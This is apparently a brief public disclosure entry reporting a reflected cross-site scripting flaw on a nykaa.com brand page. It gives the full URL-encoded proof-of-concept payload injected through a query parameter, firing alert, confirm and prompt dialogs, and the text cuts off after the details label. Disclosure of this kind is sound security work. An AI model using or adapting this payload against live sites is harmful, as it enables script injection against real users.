nykaa.com XSS vulnerability

Vulnerable URL: http://www.nykaa.com/brands/maybelline-new-york.html?intcmp=%22%3E%3Caudio/onloadstart=confirm%22XSSPOSED%22%20src%3E%3C/title%3E%3C/script/%22-alert0-%22--%3E%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E--%3E%3Cscript%3Ealert%27OPENBUGBOUNTY%27%3C/script%3E Details: Description|...